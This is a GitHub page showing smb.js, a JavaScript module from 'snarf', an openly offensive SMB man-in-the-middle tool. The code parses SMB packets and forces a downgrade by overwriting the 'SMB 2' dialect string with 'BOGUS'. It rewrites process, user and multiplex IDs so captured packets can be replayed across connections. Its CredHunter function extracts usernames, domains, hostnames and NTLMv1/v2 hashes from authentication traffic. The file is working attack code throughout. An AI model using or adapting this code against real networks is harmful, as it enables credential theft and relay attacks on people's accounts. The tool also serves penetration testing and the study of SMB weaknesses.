-
Notifications
You must be signed in to change notification settings - Fork 60
/
smb.js
319 lines (286 loc) · 12.6 KB
/
smb.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
//
// snarf - SMB man-in-the-middle tool
// Copyright (C) 2015 Josh Stone (yakovdk@gmail.com)
// Victor Mata (victor@offense-in-depth.com)
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
//
// ------------------------------------------------------------------------
var util = require("util");
var out = require("./out.js");
var commands = {
0x00 : "SMB_COM_CREATE_DIRECTORY",
0x01 : "SMB_COM_DELETE_DIRECTORY",
0x02 : "SMB_COM_OPEN",
0x03 : "SMB_COM_CREATE",
0x04 : "SMB_COM_CLOSE",
0x05 : "SMB_COM_FLUSH",
0x06 : "SMB_COM_DELETE",
0x07 : "SMB_COM_RENAME",
0x08 : "SMB_COM_QUERY_INFORMATION",
0x09 : "SMB_COM_SET_INFORMATION",
0x0A : "SMB_COM_READ",
0x0B : "SMB_COM_WRITE",
0x0C : "SMB_COM_LOCK_BYTE_RANGE",
0x0D : "SMB_COM_UNLOCK_BYTE_RANGE",
0x0E : "SMB_COM_CREATE_TEMPORARY",
0x0F : "SMB_COM_CREATE_NEW",
0x10 : "SMB_COM_CHECK_DIRECTORY",
0x11 : "SMB_COM_PROCESS_EXIT",
0x12 : "SMB_COM_SEEK",
0x13 : "SMB_COM_LOCK_AND_READ",
0x14 : "SMB_COM_WRITE_AND_UNLOCK",
0x1A : "SMB_COM_READ_RAW",
0x1B : "SMB_COM_READ_MPX",
0x1C : "SMB_COM_READ_MPX_SECONDARY",
0x1D : "SMB_COM_WRITE_RAW",
0x1E : "SMB_COM_WRITE_MPX",
0x1F : "SMB_COM_WRITE_MPX_SECONDARY",
0x20 : "SMB_COM_WRITE_COMPLETE",
0x21 : "SMB_COM_QUERY_SERVER",
0x22 : "SMB_COM_SET_INFORMATION2",
0x23 : "SMB_COM_QUERY_INFORMATION2",
0x24 : "SMB_COM_LOCKING_ANDX",
0x25 : "SMB_COM_TRANSACTION",
0x26 : "SMB_COM_TRANSACTION_SECONDARY",
0x27 : "SMB_COM_IOCTL",
0x28 : "SMB_COM_IOCTL_SECONDARY",
0x29 : "SMB_COM_COPY",
0x2A : "SMB_COM_MOVE",
0x2B : "SMB_COM_ECHO",
0x2C : "SMB_COM_WRITE_AND_CLOSE",
0x2D : "SMB_COM_OPEN_ANDX",
0x2E : "SMB_COM_READ_ANDX",
0x2F : "SMB_COM_WRITE_ANDX",
0x30 : "SMB_COM_NEW_FILE_SIZE",
0x31 : "SMB_COM_CLOSE_AND_TREE_DISC",
0x32 : "SMB_COM_TRANSACTION2",
0x33 : "SMB_COM_TRANSACTION2_SECONDARY",
0x34 : "SMB_COM_FIND_CLOSE2",
0x35 : "SMB_COM_FIND_NOTIFY_CLOSE",
0x70 : "SMB_COM_TREE_CONNECT",
0x71 : "SMB_COM_TREE_DISCONNECT",
0x72 : "SMB_COM_NEGOTIATE",
0x73 : "SMB_COM_SESSION_SETUP_ANDX",
0x74 : "SMB_COM_LOGOFF_ANDX",
0x75 : "SMB_COM_TREE_CONNECT_ANDX",
0x7E : "SMB_COM_SECURITY_PACKAGE_ANDX",
0x80 : "SMB_COM_QUERY_INFORMATION_DISK",
0x81 : "SMB_COM_SEARCH",
0x82 : "SMB_COM_FIND",
0x83 : "SMB_COM_FIND_UNIQUE",
0x84 : "SMB_COM_FIND_CLOSE",
0xA0 : "SMB_COM_NT_TRANSACT",
0xA1 : "SMB_COM_NT_TRANSACT_SECONDARY",
0xA2 : "SMB_COM_NT_CREATE_ANDX",
0xA4 : "SMB_COM_NT_CANCEL",
0xA5 : "SMB_COM_NT_RENAME",
0xC0 : "SMB_COM_OPEN_PRINT_FILE",
0xC1 : "SMB_COM_WRITE_PRINT_FILE",
0xC2 : "SMB_COM_CLOSE_PRINT_FILE",
0xC3 : "SMB_COM_GET_PRINT_QUEUE",
0xD8 : "SMB_COM_READ_BULK",
0xD9 : "SMB_COM_WRITE_BULK",
0xDA : "SMB_COM_WRITE_BULK_DATA",
0xFE : "SMB_COM_INVALID",
0xFF : "SMB_COM_NO_ANDX_COMMAND"
}
function scrubSMB2(buffer) {
var len = buffer.readUInt16LE(37)+40-2;
var buf = buffer.slice(40, len);
for(var i=40; i < len - 5; i++) {
var test = buffer.toString("utf8", i, i+5);
if(test == "SMB 2") {
out.red("Scrubbing SMB2 dialect");
buffer.write("BOGUS", i);
}
}
}
function SMBEchoRequest() {
// place-holder for "SMB Echo Request" packet structure and content
// may include arguments for tree_id, user_id, process_id, or other SMB headers
var packet = "\x00\x00\x00"; // NetBIOS Header
packet += "\x35"; // <LENGTH>
packet += "\xff\x53\x4d\x42"; // Server Component: SMB
packet += "\x2b"; // SMB Command: Echo (0x2b)
packet += "\x00"; // Error Class: Success (0x00)
packet += "\x00"; // Reserved
packet += "\x00\x00"; // Error Code
packet += "\x00"; // Flags
packet += "\x00\x00"; // Flags2
packet += "\x00\x00"; // Process ID High
packet += "\x00\x00\x00\x00\x00\x00\x00\x00"; // Signature
packet += "\x00\x00"; // Reserved
packet += "\x00\x00"; // Tree ID
packet += "\x00\x00"; // Process ID
packet += "\x00\x00"; // User ID
packet += "\x00\x00"; // Multiplex ID
//
packet += "\x01"; // Word Count (WCT): 1
packet += "\x01\x00"; // Echo Count: 1
packet += "\x10\x00"; // Byte Count (BCC): 16
packet += "\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0"; // Echo Data
packet += "\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0"; // Echo Data
var buf = new Buffer(packet, 'binary');
return buf
}
function SMBPacket(buffer) {
var base = 4;
var myself = this;
this.length = buffer.readUInt8(1) << 16 | buffer.readUInt16BE(2);
this.buffer = buffer;
this.commandCode = buffer.readUInt8(base+4);
if(commands[this.commandCode]) {
this.command = commands[this.commandCode];
} else {
this.command = "0x" + this.commandCode.toString(16) + " : unknown";
}
if(this.commandCode == 0x72) {
var len = buffer.readUInt16LE(37)+40-2;
var diabuffer = buffer.slice(40, len).toString();
var dialects = diabuffer.split(/\x00\x02/);
this.ntlmoffset = dialects.indexOf("NT LM 0.12");
scrubSMB2(buffer);
// out.red("NT LM 0.12 offset is " + this.ntlmoffset);
// buffer.writeUInt16LE(12, 37);
// buffer.writeUInt8(0x02, 39);
// buffer.write("NT LM 0.12", 40);
// buffer.writeUInt8(0x00, 50);
}
if(this.commandCode == 0x73) {
this.status = buffer.readUInt32LE(base + 5);
}
this.describe = function() {
return util.format("SMB (%d bytes), CMD: %s", this.length, this.command);
}
// A few SMB details intrude on reusing packets from one
// connection to another. If someone is making multiple
// connections, we need to make sure that process IDs and
// multiplex IDS match.
this.setAsAnswerTo = function(packet) {
var processid = packet.buffer.readUInt16LE(30);
var flags = packet.buffer.readUInt8(13) | 0x80; // 0x80 makes it a "response"
var flags2 = packet.buffer.readUInt16LE(14);
var mid = packet.buffer.readUInt16LE(34);
var dlen = packet.buffer.readUInt16LE(37);
this.buffer.writeUInt8(flags, 13);
this.buffer.writeUInt16LE(flags2, 14);
this.buffer.writeUInt16LE(processid, 30);
this.buffer.writeUInt16LE(mid, 34);
// If different clients specify different authentication dialects,
// then we might end up with a mismatch. In SMB_COM_NEGOTIATE
// responses, we need to make sure we choose the same one. In
// testing so far, they always seem to choose the last one. This
// may not always be the case, and could require enhancing in the
// future.
if(packet.commandCode == 0x72) {
// we add len to 40 (the offset for the dialect list), and then
// subtract two because the two bytes used to specify the length
// count. In later NodeJS versions, the overrun is fine, but
// older versions throw an exception.
var len = packet.buffer.readUInt16LE(37)+40-2;
var dialects = packet.buffer.slice(40, len).toString();
var lastd = dialects.split(/\x00\x02/);
//out.red("Patching dialect (" + (lastd.length-1) + ")");
//this.buffer.writeUInt16LE(lastd.length-1, 37);
out.red("Patching dialect (" + (packet.ntlmoffset) + ")");
this.buffer.writeUInt16LE(packet.ntlmoffset, 37);
}
return true;
}
this.setAsAnswerToMod = function(packet, uid) {
var processid = packet.buffer.readUInt16LE(30);
var flags = packet.buffer.readUInt8(13) | 0x80; // 0x80 makes it a "response"
var flags2 = packet.buffer.readUInt16LE(14);
var mid = packet.buffer.readUInt16LE(34);
var dlen = packet.buffer.readUInt16LE(37);
this.buffer.writeUInt8(flags, 13);
this.buffer.writeUInt16LE(flags2, 14);
this.buffer.writeUInt16LE(processid, 30);
this.buffer.writeUInt16LE(uid, 32);
this.buffer.writeUInt16LE(mid, 34);
if(packet.commandCode == 0x72) {
var len = packet.buffer.readUInt16LE(37)+40-2;
var dialects = packet.buffer.slice(40, len).toString();
var lastd = dialects.split(/\x00\x02/);
//out.red("Patching dialect (" + (lastd.length-1) + ")");
//this.buffer.writeUInt16LE(lastd.length-1, 37);
out.red("Patching dialect (" + (packet.ntlmoffset) + ")");
this.buffer.writeUInt16LE(packet.ntlmoffset, 37);
}
return true;
}
}
function CredHunter(packet) {
this.domain = "unknown";
this.username = "unknown";
this.hostname = "unknown";
this.winver = "unknown";
this.challenge = "unknown";
this.hash = "unknown";
this.htype = "unknown";
this.ntlmssp = false;
try {
var header = packet.slice(4,36);
var bloblen = packet.readUInt16LE(36+15);
var secblob = packet.slice(36+27, 36+27+bloblen);
// NTLMSSP
for(var i = 0; i < secblob.length - 7; i++) {
if(secblob.toString('utf8', i, i+7) == "NTLMSSP") {
this.ntlmssp = true;
this.ntlmssp_offset = i + 4 + 36 + 27;
var authtype = secblob.readUInt32LE(i+8);
if(authtype == 3) {
var lmlen = secblob.readUInt16LE(i+12);
var lmoff = secblob.readUInt32LE(i+16);
var ntlmlen = secblob.readUInt16LE(i+20);
var ntlmoff = secblob.readUInt32LE(i+24);
var domlen = secblob.readUInt16LE(i+28);
var domoff = secblob.readUInt32LE(i+32);
var userlen = secblob.readUInt16LE(i+36);
var useroff = secblob.readUInt32LE(i+40);
var hostlen = secblob.readUInt16LE(i+44);
var hostoff = secblob.readUInt32LE(i+48);
var win_major_ver = secblob.readUInt8(i+64);
var win_minor_ver = secblob.readUInt8(i+65);
var win_build_ver = secblob.readUInt16LE(i+66);
var username = secblob.toString('utf8', i+useroff, i+useroff+userlen);
var lmhash = secblob.toString('hex', i+lmoff, i+lmoff+lmlen);
var nthash = secblob.toString('hex', i+ntlmoff, i+ntlmoff+ntlmlen);
// we must remove the null bytes in the domain and username
this.domain = secblob.toString('utf8', i+domoff, i+domoff+domlen).replace(/\0/g, '');
this.username = secblob.toString('utf8', i+useroff, i+useroff+userlen).replace(/\0/g, '');
this.hostname = secblob.toString('utf8', i+hostoff, i+hostoff+hostlen);
this.winver = "Windows " + win_major_ver + "." + win_minor_ver + " (Build " + win_build_ver + ")"
if(ntlmlen == 24) {
// NTLMv1
this.hash = lmhash + ":" + nthash;
this.htype = "NTLMv1";
} else {
// NTLMv2
this.hash = nthash.slice(0,32) + ":" + nthash.slice(32);
this.htype = "NTLMv2";
}
} else if(authtype == 2) {
this.challenge = secblob.toString('hex', i+24, i+32);
}
}
}
} catch(e) {
}
}
module.exports.CredHunter = CredHunter;
module.exports.SMBPacket = SMBPacket;
module.exports.SMBEchoRequest = SMBEchoRequest;